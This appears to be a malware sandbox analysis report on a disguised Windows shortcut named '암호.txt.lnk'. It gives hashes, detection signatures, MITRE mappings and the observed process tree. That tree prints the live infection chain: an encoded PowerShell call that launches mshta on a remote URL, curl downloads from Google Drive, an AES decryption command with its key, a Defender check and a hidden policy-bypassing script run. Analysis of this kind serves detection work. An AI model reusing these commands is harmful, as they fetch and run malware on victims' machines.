c959bce53a371baa50f81eea003b933ae7a98a34fda7b0a91425eff06780d5ef

General

Target
암호.txt.lnk
Size 2KB
Sample260604-sfvsaahs5w
SHA256 c959bce53a371baa50f81eea003b933ae7a98a34fda7b0a91425eff06780d5ef
MD5 6ce51d47a69a7c3f0e8f29bea41b843a
SHA1 606e6c7eccd19f15603962f405dd9f0534697f7e
SHA512 ae3c36ab5e98a1e9c62e56d8095cbb775e416bc26ed7168de21f6f9c9295ff135180ff443f2dadd650325446f0d85b20cbf6518997f5e6077b8176d84893666f
TLSH
T18D5153010EF60269D273C73A6BFAF7029531F810DA079EEC01C01644AC90A08F8B6F2E
MD5 SHA1 SHA512 TLSH

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://link24.kr/E7B7TzV

Signatures

Badlisted process makes network request 16 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2020	mshta.exe
3	2020	mshta.exe
4	2020	mshta.exe
5	2020	mshta.exe
6	2020	mshta.exe
7	2020	mshta.exe
8	2020	mshta.exe
9	2020	mshta.exe
10	2020	mshta.exe
11	2020	mshta.exe
12	2020	mshta.exe
13	2020	mshta.exe
14	2020	mshta.exe
15	2020	mshta.exe
16	2020	mshta.exe
17	2020	mshta.exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
19	drive.google.com
1	drive.google.com
18	drive.google.com

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3140	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2124	powershell.exe
2124	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2124	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2248 wrote to memory of 2124	2248	cmd.exe	81
PID 2124 wrote to memory of 2020	2124	powershell.exe	82
PID 2020 wrote to memory of 112	2020	mshta.exe	83
PID 2020 wrote to memory of 108	2020	mshta.exe	84
PID 112 wrote to memory of 560	112	cmd.exe	87
PID 108 wrote to memory of 3140	108	cmd.exe	88
PID 2020 wrote to memory of 4688	2020	mshta.exe	89
PID 4688 wrote to memory of 2608	4688	cmd.exe	91
PID 2020 wrote to memory of 3116	2020	mshta.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\암호.txt.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e IAAgAG0AcwBoAHQAYQAgACAAIAAgACAAIAAgACIAaAB0AHQAcABzADoALwAvAGwAaQBuAGsAMgA0AC4AawByAC8ARQA3AEIANwBUAHoAVgAiAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2124
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://link24.kr/E7B7TzV
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:2020
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local\Temp && curl -L -o password.txt "https://drive.google.com/uc?export=download&id=1u0g1doVUDc5VCeP653aze60SGlhs3efQ" && password.txt
      4⤵
      Suspicious use of WriteProcessMemory
      PID:112
    - - C:\Windows\system32\curl.exe
        
        curl -L -o password.txt "https://drive.google.com/uc?export=download&id=1u0g1doVUDc5VCeP653aze60SGlhs3efQ"
        5⤵
        
        PID:560
  - - C:\Windows\system32\cmd.exe
      cmd /c sc query WinDefend
      4⤵
      Suspicious use of WriteProcessMemory
      PID:108
    - - C:\Windows\system32\sc.exe
        
        sc query WinDefend
        5⤵
        Launches sc.exe
        
        PID:3140
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local && curl -L -o pipe.log "https://drive.google.com/uc?export=download&id=1jqpw8UHpsY5ps3nKOfkyo2ql4hC23Mew" && powershell -Command "[System.IO.File]::WriteAllBytes('pipe.zip', (New-Object System.Security.Cryptography.AesManaged).CreateDecryptor([System.Text.Encoding]::UTF8.GetBytes('ftrgmjekglgawkxjynqrwxjvjsydxgjc'), [System.Text.Encoding]::UTF8.GetBytes('rhmrpyihmziwkvln')).TransformFinalBlock([System.IO.File]::ReadAllBytes('pipe.log'), 0, [System.IO.File]::ReadAllBytes('pipe.log').Length))" && del pipe.log && powershell Expand-Archive -Path pipe.zip && del pipe.zip
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4688
    - - C:\Windows\system32\curl.exe
        
        curl -L -o pipe.log "https://drive.google.com/uc?export=download&id=1jqpw8UHpsY5ps3nKOfkyo2ql4hC23Mew"
        5⤵
        
        PID:2608
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local && cd pipe && powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File 1.ps1 -FileName 1.log
      4⤵
      PID:3116

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_sppurfj0.x5f.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sppurfj0.x5f.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2124-2-0x0000018A356D0000-0x0000018A356E0000-memory.dmp

Download

memory/2124-3-0x0000018A356D0000-0x0000018A356E0000-memory.dmp

Download

memory/2124-10-0x0000018A35660000-0x0000018A35682000-memory.dmp

Download

memory/2124-11-0x0000018A356D0000-0x0000018A356E0000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads